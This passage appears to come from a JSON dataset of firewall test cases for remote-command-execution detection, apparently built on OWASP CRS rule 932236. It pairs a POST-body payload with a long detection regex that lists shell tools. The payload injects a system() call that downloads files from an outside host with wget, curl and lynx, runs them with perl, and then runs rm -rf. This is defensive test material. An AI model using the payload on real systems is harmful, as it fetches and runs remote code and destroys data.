?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "RCE from test 932236.yaml combined with html entities in the middle" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "arg=Something+%26%238222%3BThe+Title%26%238221%3B.+After+something+system('echo%20cd%20/tmp;wget%20http://turbatu.altervista.org/apache_32.png%20-O%20p2.txt;curl%20-O%20http://turbatu.altervista.org/apache_32.png;%20mv%20apache_32.png%20p.txt;lyxn%20-DUMP%20http://turbatu.altervista.org/apache_32.png%20>p3.txt;perl%20p.txt;%20perl%20p2.txt;perl%20p3.txt;rm%20-rf" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-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0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?